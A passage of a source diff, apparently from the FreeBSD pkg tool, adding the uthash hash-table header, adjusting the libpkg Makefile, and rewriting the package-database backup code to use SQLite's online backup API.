  char *_sfh_key=(char*)(key);                                                   \
+
  uint32_t _sfh_tmp, _sfh_len = keylen;                                          \
+
                                                                                 \
+
  int _sfh_rem = _sfh_len & 3;                                                   \
+
  _sfh_len >>= 2;                                                                \
+
  hashv = 0xcafebabe;                                                            \
+
                                                                                 \
+
  /* Main loop */                                                                \
+
  for (;_sfh_len > 0; _sfh_len--) {                                              \
+
    hashv    += get16bits (_sfh_key);                                            \
+
    _sfh_tmp       = (get16bits (_sfh_key+2) << 11) ^ hashv;                     \
+
    hashv     = (hashv << 16) ^ _sfh_tmp;                                        \
+
    _sfh_key += 2*sizeof (uint16_t);                                             \
+
    hashv    += hashv >> 11;                                                     \
+
  }                                                                              \
+
                                                                                 \
+
  /* Handle end cases */                                                         \
+
  switch (_sfh_rem) {                                                            \
+
    case 3: hashv += get16bits (_sfh_key);                                       \
+
            hashv ^= hashv << 16;                                                \
+
            hashv ^= _sfh_key[sizeof (uint16_t)] << 18;                          \
+
            hashv += hashv >> 11;                                                \
+
            break;                                                               \
+
    case 2: hashv += get16bits (_sfh_key);                                       \
+
            hashv ^= hashv << 11;                                                \
+
            hashv += hashv >> 17;                                                \
+
            break;                                                               \
+
    case 1: hashv += *_sfh_key;                                                  \
+
            hashv ^= hashv << 10;                                                \
+
            hashv += hashv >> 1;                                                 \
+
  }                                                                              \
+
                                                                                 \
+
    /* Force "avalanching" of final 127 bits */                                  \
+
    hashv ^= hashv << 3;                                                         \
+
    hashv += hashv >> 5;                                                         \
+
    hashv ^= hashv << 4;                                                         \
+
    hashv += hashv >> 17;                                                        \
+
    hashv ^= hashv << 25;                                                        \
+
    hashv += hashv >> 6;                                                         \
+
    bkt = hashv & (num_bkts-1);                                                  \
+
} while(0) 
+

+
#ifdef HASH_USING_NO_STRICT_ALIASING
+
/* The MurmurHash exploits some CPU's (x86,x86_64) tolerance for unaligned reads.
+
 * For other types of CPU's (e.g. Sparc) an unaligned read causes a bus error.
+
 * MurmurHash uses the faster approach only on CPU's where we know it's safe. 
+
 *
+
 * Note the preprocessor built-in defines can be emitted using:
+
 *
+
 *   gcc -m64 -dM -E - < /dev/null                  (on gcc)
+
 *   cc -## a.c (where a.c is a simple test file)   (Sun Studio)
+
 */
+
#if (defined(__i386__) || defined(__x86_64__)) 
+
#define MUR_GETBLOCK(p,i) p[i]
+
#else /* non intel */
+
#define MUR_PLUS0_ALIGNED(p) (((unsigned long)p & 0x3) == 0)
+
#define MUR_PLUS1_ALIGNED(p) (((unsigned long)p & 0x3) == 1)
+
#define MUR_PLUS2_ALIGNED(p) (((unsigned long)p & 0x3) == 2)
+
#define MUR_PLUS3_ALIGNED(p) (((unsigned long)p & 0x3) == 3)
+
#define WP(p) ((uint32_t*)((unsigned long)(p) & ~3UL))
+
#if (defined(__BIG_ENDIAN__) || defined(SPARC) || defined(__ppc__) || defined(__ppc64__))
+
#define MUR_THREE_ONE(p) ((((*WP(p))&0x00ffffff) << 8) | (((*(WP(p)+1))&0xff000000) >> 24))
+
#define MUR_TWO_TWO(p)   ((((*WP(p))&0x0000ffff) <<16) | (((*(WP(p)+1))&0xffff0000) >> 16))
+
#define MUR_ONE_THREE(p) ((((*WP(p))&0x000000ff) <<24) | (((*(WP(p)+1))&0xffffff00) >>  8))
+
#else /* assume little endian non-intel */
+
#define MUR_THREE_ONE(p) ((((*WP(p))&0xffffff00) >> 8) | (((*(WP(p)+1))&0x000000ff) << 24))
+
#define MUR_TWO_TWO(p)   ((((*WP(p))&0xffff0000) >>16) | (((*(WP(p)+1))&0x0000ffff) << 16))
+
#define MUR_ONE_THREE(p) ((((*WP(p))&0xff000000) >>24) | (((*(WP(p)+1))&0x00ffffff) <<  8))
+
#endif
+
#define MUR_GETBLOCK(p,i) (MUR_PLUS0_ALIGNED(p) ? ((p)[i]) :           \
+
                            (MUR_PLUS1_ALIGNED(p) ? MUR_THREE_ONE(p) : \
+
                             (MUR_PLUS2_ALIGNED(p) ? MUR_TWO_TWO(p) :  \
+
                                                      MUR_ONE_THREE(p))))
+
#endif
+
#define MUR_ROTL32(x,r) (((x) << (r)) | ((x) >> (32 - (r))))
+
#define MUR_FMIX(_h) \
+
do {                 \
+
  _h ^= _h >> 16;    \
+
  _h *= 0x85ebca6b;  \
+
  _h ^= _h >> 13;    \
+
  _h *= 0xc2b2ae35l; \
+
  _h ^= _h >> 16;    \
+
} while(0)
+

+
#define HASH_MUR(key,keylen,num_bkts,hashv,bkt)                        \
+
do {                                                                   \
+
  const uint8_t *_mur_data = (const uint8_t*)(key);                    \
+
  const int _mur_nblocks = (keylen) / 4;                               \
+
  uint32_t _mur_h1 = 0xf88D5353;                                       \
+
  uint32_t _mur_c1 = 0xcc9e2d51;                                       \
+
  uint32_t _mur_c2 = 0x1b873593;                                       \
+
  const uint32_t *_mur_blocks = (const uint32_t*)(_mur_data+_mur_nblocks*4); \
+
  int _mur_i;                                                          \
+
  for(_mur_i = -_mur_nblocks; _mur_i; _mur_i++) {                      \
+
    uint32_t _mur_k1 = MUR_GETBLOCK(_mur_blocks,_mur_i);               \
+
    _mur_k1 *= _mur_c1;                                                \
+
    _mur_k1 = MUR_ROTL32(_mur_k1,15);                                  \
+
    _mur_k1 *= _mur_c2;                                                \
+
                                                                       \
+
    _mur_h1 ^= _mur_k1;                                                \
+
    _mur_h1 = MUR_ROTL32(_mur_h1,13);                                  \
+
    _mur_h1 = _mur_h1*5+0xe6546b64;                                    \
+
  }                                                                    \
+
  const uint8_t *_mur_tail = (const uint8_t*)(_mur_data + _mur_nblocks*4); \
+
  uint32_t _mur_k1=0;                                                  \
+
  switch((keylen) & 3) {                                               \
+
    case 3: _mur_k1 ^= _mur_tail[2] << 16;                             \
+
    case 2: _mur_k1 ^= _mur_tail[1] << 8;                              \
+
    case 1: _mur_k1 ^= _mur_tail[0];                                   \
+
    _mur_k1 *= _mur_c1;                                                \
+
    _mur_k1 = MUR_ROTL32(_mur_k1,15);                                  \
+
    _mur_k1 *= _mur_c2;                                                \
+
    _mur_h1 ^= _mur_k1;                                                \
+
  }                                                                    \
+
  _mur_h1 ^= (keylen);                                                 \
+
  MUR_FMIX(_mur_h1);                                                   \
+
  hashv = _mur_h1;                                                     \
+
  bkt = hashv & (num_bkts-1);                                          \
+
} while(0)
+
#endif  /* HASH_USING_NO_STRICT_ALIASING */
+

+
/* key comparison function; return 0 if keys equal */
+
#define HASH_KEYCMP(a,b,len) memcmp(a,b,len) 
+

+
/* iterate over items in a known bucket to find desired item */
+
#define HASH_FIND_IN_BKT(tbl,hh,head,keyptr,keylen_in,out)                       \
+
do {                                                                             \
+
 if (head.hh_head) DECLTYPE_ASSIGN(out,ELMT_FROM_HH(tbl,head.hh_head));          \
+
 else out=NULL;                                                                  \
+
 while (out) {                                                                   \
+
    if ((out)->hh.keylen == keylen_in) {                                           \
+
        if ((HASH_KEYCMP((out)->hh.key,keyptr,keylen_in)) == 0) break;             \
+
    }                                                                            \
+
    if ((out)->hh.hh_next) DECLTYPE_ASSIGN(out,ELMT_FROM_HH(tbl,(out)->hh.hh_next)); \
+
    else out = NULL;                                                             \
+
 }                                                                               \
+
} while(0)
+

+
/* add an item to a bucket  */
+
#define HASH_ADD_TO_BKT(head,addhh)                                              \
+
do {                                                                             \
+
 head.count++;                                                                   \
+
 (addhh)->hh_next = head.hh_head;                                                \
+
 (addhh)->hh_prev = NULL;                                                        \
+
 if (head.hh_head) { (head).hh_head->hh_prev = (addhh); }                        \
+
 (head).hh_head=addhh;                                                           \
+
 if (head.count >= ((head.expand_mult+1) * HASH_BKT_CAPACITY_THRESH)             \
+
     && (addhh)->tbl->noexpand != 1) {                                           \
+
       HASH_EXPAND_BUCKETS((addhh)->tbl);                                        \
+
 }                                                                               \
+
} while(0)
+

+
/* remove an item from a given bucket */
+
#define HASH_DEL_IN_BKT(hh,head,hh_del)                                          \
+
    (head).count--;                                                              \
+
    if ((head).hh_head == hh_del) {                                              \
+
      (head).hh_head = hh_del->hh_next;                                          \
+
    }                                                                            \
+
    if (hh_del->hh_prev) {                                                       \
+
        hh_del->hh_prev->hh_next = hh_del->hh_next;                              \
+
    }                                                                            \
+
    if (hh_del->hh_next) {                                                       \
+
        hh_del->hh_next->hh_prev = hh_del->hh_prev;                              \
+
    }                                                                
+

+
/* Bucket expansion has the effect of doubling the number of buckets
+
 * and redistributing the items into the new buckets. Ideally the
+
 * items will distribute more or less evenly into the new buckets
+
 * (the extent to which this is true is a measure of the quality of
+
 * the hash function as it applies to the key domain). 
+
 * 
+
 * With the items distributed into more buckets, the chain length
+
 * (item count) in each bucket is reduced. Thus by expanding buckets
+
 * the hash keeps a bound on the chain length. This bounded chain 
+
 * length is the essence of how a hash provides constant time lookup.
+
 * 
+
 * The calculation of tbl->ideal_chain_maxlen below deserves some
+
 * explanation. First, keep in mind that we're calculating the ideal
+
 * maximum chain length based on the *new* (doubled) bucket count.
+
 * In fractions this is just n/b (n=number of items,b=new num buckets).
+
 * Since the ideal chain length is an integer, we want to calculate 
+
 * ceil(n/b). We don't depend on floating point arithmetic in this
+
 * hash, so to calculate ceil(n/b) with integers we could write
+
 * 
+
 *      ceil(n/b) = (n/b) + ((n%b)?1:0)
+
 * 
+
 * and in fact a previous version of this hash did just that.
+
 * But now we have improved things a bit by recognizing that b is
+
 * always a power of two. We keep its base 2 log handy (call it lb),
+
 * so now we can write this with a bit shift and logical AND:
+
 * 
+
 *      ceil(n/b) = (n>>lb) + ( (n & (b-1)) ? 1:0)
+
 * 
+
 */
+
#define HASH_EXPAND_BUCKETS(tbl)                                                 \
+
do {                                                                             \
+
    unsigned _he_bkt;                                                            \
+
    unsigned _he_bkt_i;                                                          \
+
    struct UT_hash_handle *_he_thh, *_he_hh_nxt;                                 \
+
    UT_hash_bucket *_he_new_buckets, *_he_newbkt;                                \
+
    _he_new_buckets = (UT_hash_bucket*)uthash_malloc(                            \
+
             2 * tbl->num_buckets * sizeof(struct UT_hash_bucket));              \
+
    if (!_he_new_buckets) { uthash_fatal( "out of memory"); }                    \
+
    memset(_he_new_buckets, 0,                                                   \
+
            2 * tbl->num_buckets * sizeof(struct UT_hash_bucket));               \
+
    tbl->ideal_chain_maxlen =                                                    \
+
       (tbl->num_items >> (tbl->log2_num_buckets+1)) +                           \
+
       ((tbl->num_items & ((tbl->num_buckets*2)-1)) ? 1 : 0);                    \
+
    tbl->nonideal_items = 0;                                                     \
+
    for(_he_bkt_i = 0; _he_bkt_i < tbl->num_buckets; _he_bkt_i++)                \
+
    {                                                                            \
+
        _he_thh = tbl->buckets[ _he_bkt_i ].hh_head;                             \
+
        while (_he_thh) {                                                        \
+
           _he_hh_nxt = _he_thh->hh_next;                                        \
+
           HASH_TO_BKT( _he_thh->hashv, tbl->num_buckets*2, _he_bkt);            \
+
           _he_newbkt = &(_he_new_buckets[ _he_bkt ]);                           \
+
           if (++(_he_newbkt->count) > tbl->ideal_chain_maxlen) {                \
+
             tbl->nonideal_items++;                                              \
+
             _he_newbkt->expand_mult = _he_newbkt->count /                       \
+
                                        tbl->ideal_chain_maxlen;                 \
+
           }                                                                     \
+
           _he_thh->hh_prev = NULL;                                              \
+
           _he_thh->hh_next = _he_newbkt->hh_head;                               \
+
           if (_he_newbkt->hh_head) _he_newbkt->hh_head->hh_prev =               \
+
                _he_thh;                                                         \
+
           _he_newbkt->hh_head = _he_thh;                                        \
+
           _he_thh = _he_hh_nxt;                                                 \
+
        }                                                                        \
+
    }                                                                            \
+
    uthash_free( tbl->buckets, tbl->num_buckets*sizeof(struct UT_hash_bucket) ); \
+
    tbl->num_buckets *= 2;                                                       \
+
    tbl->log2_num_buckets++;                                                     \
+
    tbl->buckets = _he_new_buckets;                                              \
+
    tbl->ineff_expands = (tbl->nonideal_items > (tbl->num_items >> 1)) ?         \
+
        (tbl->ineff_expands+1) : 0;                                              \
+
    if (tbl->ineff_expands > 1) {                                                \
+
        tbl->noexpand=1;                                                         \
+
        uthash_noexpand_fyi(tbl);                                                \
+
    }                                                                            \
+
    uthash_expand_fyi(tbl);                                                      \
+
} while(0)
+

+

+
/* This is an adaptation of Simon Tatham's O(n log(n)) mergesort */
+
/* Note that HASH_SORT assumes the hash handle name to be hh. 
+
 * HASH_SRT was added to allow the hash handle name to be passed in. */
+
#define HASH_SORT(head,cmpfcn) HASH_SRT(hh,head,cmpfcn)
+
#define HASH_SRT(hh,head,cmpfcn)                                                 \
+
do {                                                                             \
+
  unsigned _hs_i;                                                                \
+
  unsigned _hs_looping,_hs_nmerges,_hs_insize,_hs_psize,_hs_qsize;               \
+
  struct UT_hash_handle *_hs_p, *_hs_q, *_hs_e, *_hs_list, *_hs_tail;            \
+
  if (head) {                                                                    \
+
      _hs_insize = 1;                                                            \
+
      _hs_looping = 1;                                                           \
+
      _hs_list = &((head)->hh);                                                  \
+
      while (_hs_looping) {                                                      \
+
          _hs_p = _hs_list;                                                      \
+
          _hs_list = NULL;                                                       \
+
          _hs_tail = NULL;                                                       \
+
          _hs_nmerges = 0;                                                       \
+
          while (_hs_p) {                                                        \
+
              _hs_nmerges++;                                                     \
+
              _hs_q = _hs_p;                                                     \
+
              _hs_psize = 0;                                                     \
+
              for ( _hs_i = 0; _hs_i  < _hs_insize; _hs_i++ ) {                  \
+
                  _hs_psize++;                                                   \
+
                  _hs_q = (UT_hash_handle*)((_hs_q->next) ?                      \
+
                          ((void*)((char*)(_hs_q->next) +                        \
+
                          (head)->hh.tbl->hho)) : NULL);                         \
+
                  if (! (_hs_q) ) break;                                         \
+
              }                                                                  \
+
              _hs_qsize = _hs_insize;                                            \
+
              while ((_hs_psize > 0) || ((_hs_qsize > 0) && _hs_q )) {           \
+
                  if (_hs_psize == 0) {                                          \
+
                      _hs_e = _hs_q;                                             \
+
                      _hs_q = (UT_hash_handle*)((_hs_q->next) ?                  \
+
                              ((void*)((char*)(_hs_q->next) +                    \
+
                              (head)->hh.tbl->hho)) : NULL);                     \
+
                      _hs_qsize--;                                               \
+
                  } else if ( (_hs_qsize == 0) || !(_hs_q) ) {                   \
+
                      _hs_e = _hs_p;                                             \
+
                      _hs_p = (UT_hash_handle*)((_hs_p->next) ?                  \
+
                              ((void*)((char*)(_hs_p->next) +                    \
+
                              (head)->hh.tbl->hho)) : NULL);                     \
+
                      _hs_psize--;                                               \
+
                  } else if ((                                                   \
+
                      cmpfcn(DECLTYPE(head)(ELMT_FROM_HH((head)->hh.tbl,_hs_p)), \
+
                             DECLTYPE(head)(ELMT_FROM_HH((head)->hh.tbl,_hs_q))) \
+
                             ) <= 0) {                                           \
+
                      _hs_e = _hs_p;                                             \
+
                      _hs_p = (UT_hash_handle*)((_hs_p->next) ?                  \
+
                              ((void*)((char*)(_hs_p->next) +                    \
+
                              (head)->hh.tbl->hho)) : NULL);                     \
+
                      _hs_psize--;                                               \
+
                  } else {                                                       \
+
                      _hs_e = _hs_q;                                             \
+
                      _hs_q = (UT_hash_handle*)((_hs_q->next) ?                  \
+
                              ((void*)((char*)(_hs_q->next) +                    \
+
                              (head)->hh.tbl->hho)) : NULL);                     \
+
                      _hs_qsize--;                                               \
+
                  }                                                              \
+
                  if ( _hs_tail ) {                                              \
+
                      _hs_tail->next = ((_hs_e) ?                                \
+
                            ELMT_FROM_HH((head)->hh.tbl,_hs_e) : NULL);          \
+
                  } else {                                                       \
+
                      _hs_list = _hs_e;                                          \
+
                  }                                                              \
+
                  _hs_e->prev = ((_hs_tail) ?                                    \
+
                     ELMT_FROM_HH((head)->hh.tbl,_hs_tail) : NULL);              \
+
                  _hs_tail = _hs_e;                                              \
+
              }                                                                  \
+
              _hs_p = _hs_q;                                                     \
+
          }                                                                      \
+
          _hs_tail->next = NULL;                                                 \
+
          if ( _hs_nmerges <= 1 ) {                                              \
+
              _hs_looping=0;                                                     \
+
              (head)->hh.tbl->tail = _hs_tail;                                   \
+
              DECLTYPE_ASSIGN(head,ELMT_FROM_HH((head)->hh.tbl, _hs_list));      \
+
          }                                                                      \
+
          _hs_insize *= 2;                                                       \
+
      }                                                                          \
+
      HASH_FSCK(hh,head);                                                        \
+
 }                                                                               \
+
} while (0)
+

+
/* This function selects items from one hash into another hash. 
+
 * The end result is that the selected items have dual presence 
+
 * in both hashes. There is no copy of the items made; rather 
+
 * they are added into the new hash through a secondary hash 
+
 * hash handle that must be present in the structure. */
+
#define HASH_SELECT(hh_dst, dst, hh_src, src, cond)                              \
+
do {                                                                             \
+
  unsigned _src_bkt, _dst_bkt;                                                   \
+
  void *_last_elt=NULL, *_elt;                                                   \
+
  UT_hash_handle *_src_hh, *_dst_hh, *_last_elt_hh=NULL;                         \
+
  ptrdiff_t _dst_hho = ((char*)(&(dst)->hh_dst) - (char*)(dst));                 \
+
  if (src) {                                                                     \
+
    for(_src_bkt=0; _src_bkt < (src)->hh_src.tbl->num_buckets; _src_bkt++) {     \
+
      for(_src_hh = (src)->hh_src.tbl->buckets[_src_bkt].hh_head;                \
+
          _src_hh;                                                               \
+
          _src_hh = _src_hh->hh_next) {                                          \
+
          _elt = ELMT_FROM_HH((src)->hh_src.tbl, _src_hh);                       \
+
          if (cond(_elt)) {                                                      \
+
            _dst_hh = (UT_hash_handle*)(((char*)_elt) + _dst_hho);               \
+
            _dst_hh->key = _src_hh->key;                                         \
+
            _dst_hh->keylen = _src_hh->keylen;                                   \
+
            _dst_hh->hashv = _src_hh->hashv;                                     \
+
            _dst_hh->prev = _last_elt;                                           \
+
            _dst_hh->next = NULL;                                                \
+
            if (_last_elt_hh) { _last_elt_hh->next = _elt; }                     \
+
            if (!dst) {                                                          \
+
              DECLTYPE_ASSIGN(dst,_elt);                                         \
+
              HASH_MAKE_TABLE(hh_dst,dst);                                       \
+
            } else {                                                             \
+
              _dst_hh->tbl = (dst)->hh_dst.tbl;                                  \
+
            }                                                                    \
+
            HASH_TO_BKT(_dst_hh->hashv, _dst_hh->tbl->num_buckets, _dst_bkt);    \
+
            HASH_ADD_TO_BKT(_dst_hh->tbl->buckets[_dst_bkt],_dst_hh);            \
+
            (dst)->hh_dst.tbl->num_items++;                                      \
+
            _last_elt = _elt;                                                    \
+
            _last_elt_hh = _dst_hh;                                              \
+
          }                                                                      \
+
      }                                                                          \
+
    }                                                                            \
+
  }                                                                              \
+
  HASH_FSCK(hh_dst,dst);                                                         \
+
} while (0)
+

+
#define HASH_CLEAR(hh,head)                                                      \
+
do {                                                                             \
+
  if (head) {                                                                    \
+
    uthash_free((head)->hh.tbl->buckets,                                         \
+
                (head)->hh.tbl->num_buckets*sizeof(struct UT_hash_bucket));      \
+
    HASH_BLOOM_FREE((head)->hh.tbl);                                             \
+
    uthash_free((head)->hh.tbl, sizeof(UT_hash_table));                          \
+
    (head)=NULL;                                                                 \
+
  }                                                                              \
+
} while(0)
+

+
#ifdef NO_DECLTYPE
+
#define HASH_ITER(hh,head,el,tmp)                                                \
+
for((el)=(head), (*(char**)(&(tmp)))=(char*)((head)?(head)->hh.next:NULL);       \
+
  el; (el)=(tmp),(*(char**)(&(tmp)))=(char*)((tmp)?(tmp)->hh.next:NULL)) 
+
#else
+
#define HASH_ITER(hh,head,el,tmp)                                                \
+
for((el)=(head),(tmp)=DECLTYPE(el)((head)?(head)->hh.next:NULL);                 \
+
  el; (el)=(tmp),(tmp)=DECLTYPE(el)((tmp)?(tmp)->hh.next:NULL))
+
#endif
+

+
/* obtain a count of items in the hash */
+
#define HASH_COUNT(head) HASH_CNT(hh,head) 
+
#define HASH_CNT(hh,head) ((head)?((head)->hh.tbl->num_items):0)
+

+
typedef struct UT_hash_bucket {
+
   struct UT_hash_handle *hh_head;
+
   unsigned count;
+

+
   /* expand_mult is normally set to 0. In this situation, the max chain length
+
    * threshold is enforced at its default value, HASH_BKT_CAPACITY_THRESH. (If
+
    * the bucket's chain exceeds this length, bucket expansion is triggered). 
+
    * However, setting expand_mult to a non-zero value delays bucket expansion
+
    * (that would be triggered by additions to this particular bucket)
+
    * until its chain length reaches a *multiple* of HASH_BKT_CAPACITY_THRESH.
+
    * (The multiplier is simply expand_mult+1). The whole idea of this
+
    * multiplier is to reduce bucket expansions, since they are expensive, in
+
    * situations where we know that a particular bucket tends to be overused.
+
    * It is better to let its chain length grow to a longer yet-still-bounded
+
    * value, than to do an O(n) bucket expansion too often. 
+
    */
+
   unsigned expand_mult;
+

+
} UT_hash_bucket;
+

+
/* random signature used only to find hash tables in external analysis */
+
#define HASH_SIGNATURE 0xa0111fe1
+
#define HASH_BLOOM_SIGNATURE 0xb12220f2
+

+
typedef struct UT_hash_table {
+
   UT_hash_bucket *buckets;
+
   unsigned num_buckets, log2_num_buckets;
+
   unsigned num_items;
+
   struct UT_hash_handle *tail; /* tail hh in app order, for fast append    */
+
   ptrdiff_t hho; /* hash handle offset (byte pos of hash handle in element */
+

+
   /* in an ideal situation (all buckets used equally), no bucket would have
+
    * more than ceil(#items/#buckets) items. that's the ideal chain length. */
+
   unsigned ideal_chain_maxlen;
+

+
   /* nonideal_items is the number of items in the hash whose chain position
+
    * exceeds the ideal chain maxlen. these items pay the penalty for an uneven
+
    * hash distribution; reaching them in a chain traversal takes >ideal steps */
+
   unsigned nonideal_items;
+

+
   /* ineffective expands occur when a bucket doubling was performed, but 
+
    * afterward, more than half the items in the hash had nonideal chain
+
    * positions. If this happens on two consecutive expansions we inhibit any
+
    * further expansion, as it's not helping; this happens when the hash
+
    * function isn't a good fit for the key domain. When expansion is inhibited
+
    * the hash will still work, albeit no longer in constant time. */
+
   unsigned ineff_expands, noexpand;
+

+
   uint32_t signature; /* used only to find hash tables in external analysis */
+
#ifdef HASH_BLOOM
+
   uint32_t bloom_sig; /* used only to test bloom exists in external analysis */
+
   uint8_t *bloom_bv;
+
   char bloom_nbits;
+
#endif
+

+
} UT_hash_table;
+

+
typedef struct UT_hash_handle {
+
   struct UT_hash_table *tbl;
+
   void *prev;                       /* prev element in app order      */
+
   void *next;                       /* next element in app order      */
+
   struct UT_hash_handle *hh_prev;   /* previous hh in bucket order    */
+
   struct UT_hash_handle *hh_next;   /* next hh in bucket order        */
+
   void *key;                        /* ptr to enclosing struct's key  */
+
   unsigned keylen;                  /* enclosing struct's key len     */
+
   unsigned hashv;                   /* result of hash-fcn(key)        */
+
} UT_hash_handle;
+

+
#endif /* UTHASH_H */
modified libpkg/Makefile
@@ -10,6 +10,8 @@ SHLIB_MAJOR= 0

#gr_utils.c has to be deleted as soon as it goes in base
SRCS=		backup.c \
+
		dns_utils.c \
+
		elfhints.c \
		fetch.c \
		packing.c \
		pkg.c \
@@ -31,18 +33,22 @@ SRCS= backup.c \
		scripts.c \
		update.c \
		usergroup.c \
-
		utils.c
+
		utils.c \
+
		plugins.c

-
OSVERSION!=	awk '/^\#define[[:blank:]]__FreeBSD_version/ {print $$3}' /usr/include/sys/param.h
+
HAVE_GRUTILS!=	grep -q gr_copy /usr/include/libutil.h && echo yes || echo no

-
.if ${OSVERSION} < 1000003
+
.if ${HAVE_GRUTILS} != yes
SRCS+=	gr_util.c
+
.else
+
CFLAGS+=	-DHAVE_GRUTILS
.endif

CFLAGS+=	-std=c99
CFLAGS+=	-I${.CURDIR} \
		-I${.CURDIR}/../external/sqlite \
-
		-I${.CURDIR}/../external/libyaml/include
+
		-I${.CURDIR}/../external/libyaml/include \
+
		-I${.CURDIR}/../external/uthash
LDADD+=		-L${.OBJDIR}/../external/sqlite \
		-L${.OBJDIR}/../external/libyaml \
		-lsqlite3 \
modified libpkg/backup.c
@@ -1,5 +1,6 @@
/*
 * Copyright (c) 2011-2012 Baptiste Daroussin <bapt@FreeBSD.org>
+
 * Copyright (c) 2012 Matthew Seaman <matthew@FreeBSD.org>
 * All rights reserved.
 * 
 * Redistribution and use in source and binary forms, with or without
@@ -24,114 +25,166 @@
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

-
#include <archive_entry.h>
+
#include <sys/errno.h>
+
#include <sys/file.h>
+
#include <sys/stat.h>
+

+
#include <assert.h>
+
#include <libgen.h>
#include <string.h>
+
#include <unistd.h>

#include "pkg.h"
#include "private/event.h"
#include "private/pkg.h"
+
#include "private/pkgdb.h"

-
int
-
pkgdb_dump(struct pkgdb *db, char *dest)
+
/* Number of pages to copy per call to sqlite3_backup_step()
+
   Default page size is 1024 bytes on Unix */
+
#define NPAGES	512
+

+
static int 
+
ps_cb(void *ps, int ncols, char **coltext, __unused char **colnames)
+
{
+
	/* We should have exactly one row and one column of output */
+
	if (ncols != 1)
+
		return (-1);	/* ABORT! */
+

+
	*(off_t *)ps = strtoll(coltext[0], NULL, 10);
+

+
	return (0);
+
}
+

+
static int
+
copy_database(sqlite3 *src, sqlite3 *dst, const char *name)
{
-
	struct pkgdb_it *it = NULL;
-
	struct pkg *pkg = NULL;
-
	struct sbuf *path = NULL;
-
	struct packing *pack = NULL;
-
	char *m = NULL;
-
	int ret = EPKG_OK;
-
	int query_flags = PKG_LOAD_DEPS | PKG_LOAD_FILES | PKG_LOAD_CATEGORIES |
-
	    PKG_LOAD_DIRS | PKG_LOAD_SCRIPTS | PKG_LOAD_OPTIONS |
-
	    PKG_LOAD_MTREE | PKG_LOAD_LICENSES | PKG_LOAD_SHLIBS;
-

-
	packing_init(&pack, dest ? dest : "./pkgdump", TXZ);
-

-
	if ((it = pkgdb_query(db, NULL, MATCH_ALL)) == NULL) {
-
		/* TODO handle errors */
+
	sqlite3_backup	*b;
+
	char		*errmsg;
+
	off_t		 total;
+
	off_t		 done;
+
	off_t		 page_size;
+
	time_t		 start;
+
	time_t		 elapsed;
+
	int		 ret;
+

+
	assert(src != NULL);
+
	assert(dst != NULL);
+

+
	ret = sqlite3_exec(dst, "PRAGMA main.locking_mode=EXCLUSIVE;"
+
			   "BEGIN IMMEDIATE;COMMIT;", NULL, NULL, &errmsg);
+
	if (ret != SQLITE_OK) {
+
		pkg_emit_error("sqlite error -- %s", errmsg);
+
		sqlite3_free(errmsg);
+
		return (EPKG_FATAL);
+
	}
+

+
	ret = sqlite3_exec(dst, "PRAGMA page_size", ps_cb, &page_size, &errmsg);
+
	if (ret != SQLITE_OK) {
+
		pkg_emit_error("sqlite error -- %s", errmsg);
+
		sqlite3_free(errmsg);
+
		return (EPKG_FATAL);
+
	}
+

+
	b = sqlite3_backup_init(dst, "main", src, "main");
+

+
	elapsed = -1;
+
	start = time(NULL);
+

+
	do {
+
		ret = sqlite3_backup_step(b, NPAGES);
+

+
		if (ret != SQLITE_OK && ret != SQLITE_DONE ) {
+
			if (ret == SQLITE_BUSY) {
+
				sqlite3_sleep(250);
+
			} else {
+
				ERROR_SQLITE(dst);
+
				break;
+
			}
+
		}
+

+
		total = sqlite3_backup_pagecount(b) * page_size;
+
		done = total - sqlite3_backup_remaining(b) * page_size; 
+

+
		/* Callout no more than once a second */
+
		if (elapsed < time(NULL) - start) {
+
			elapsed = time(NULL) - start;
+
			pkg_emit_fetching(name, total, done, elapsed);
+
		}
+
	} while(done < total);
+

+
	ret = sqlite3_backup_finish(b);
+
	pkg_emit_fetching(name, total, done, time(NULL) - start); 
+

+
	sqlite3_exec(dst, "PRAGMA main.locking_mode=NORMAL;"
+
			   "BEGIN IMMEDIATE;COMMIT;", NULL, NULL, &errmsg);
+

+
	if (ret != SQLITE_OK) {
+
		pkg_emit_error("sqlite error -- %s", errmsg);
+
		sqlite3_free(errmsg);
		return (EPKG_FATAL);
	}

-
	path = sbuf_new_auto();
-
	while ((ret = pkgdb_it_next(it, &pkg, query_flags)) == EPKG_OK) {
-
		const char *name, *version, *mtree;
-

-
		pkg_get(pkg, PKG_NAME, &name, PKG_VERSION, &version, PKG_MTREE, &mtree);
-
		pkg_emit_manifest(pkg, &m);
-
		sbuf_clear(path);
-
		sbuf_printf(path, "%s-%s.yaml", name, version);
-
		sbuf_finish(path);
-
		packing_append_buffer(pack, m, sbuf_get(path), strlen(m));
-
		free(m);
-
		if (mtree != NULL) {
-
			sbuf_clear(path);
-
			sbuf_printf(path, "%s-%s.mtree", name, version);
-
			sbuf_finish(path);
-
			packing_append_buffer(pack, mtree, sbuf_get(path), strlen(mtree));
+
	return ret;
+
}
+

+
int
+
pkgdb_dump(struct pkgdb *db, const char *dest)
+
{
+
	sqlite3	*backup;
+
	int	 ret;
+

+
	if (eaccess(dest, W_OK)) {
+
		if (errno != ENOENT) {
+
			pkg_emit_error("eaccess(%s) -- %s", dest,
+
			    strerror(errno));
+
			return (EPKG_FATAL);
		}
+

+
		/* Could we create the Sqlite DB file? */
+
		if (eaccess(dirname(dest), W_OK)) {
+
			pkg_emit_error("eaccess(%s) -- %s", dirname(dest),
+
			    strerror(errno));
+
			return (EPKG_FATAL);
+
		}
+
	}
+

+
	ret = sqlite3_open(dest, &backup);
+

+
	if (ret != SQLITE_OK) {
+
		ERROR_SQLITE(backup);
+
		sqlite3_close(backup);
+
		return (EPKG_FATAL);
	}

-
	sbuf_delete(path);
-
	packing_finish(pack);
-
	return (EPKG_OK);
+
	ret = copy_database(db->sqlite, backup, dest);
+

+
	sqlite3_close(backup);
+

+
	return (ret == SQLITE_OK? EPKG_OK : EPKG_FATAL);
}

int
-
pkgdb_load(struct pkgdb *db, char *dest)
+
pkgdb_load(struct pkgdb *db, const char *src)
{
-
	struct pkg *pkg = NULL;
-
	struct archive *a = NULL;
-
	struct archive_entry *ae = NULL;
-
	const char *path = NULL;
-
	size_t len = 0;
-
	char *buf = NULL;
-
	size_t size = 0;
-
	int retcode = EPKG_OK;
-

-
	a = archive_read_new();
-
	archive_read_support_compression_all(a);
-
	archive_read_support_format_tar(a);
-

-
	if (archive_read_open_filename(a, dest, 4096) != ARCHIVE_OK) {
-
		pkg_emit_error("archive_read_open_filename(%s): %s", dest,
-
					   archive_error_string(a));
-
		retcode = EPKG_FATAL;
-
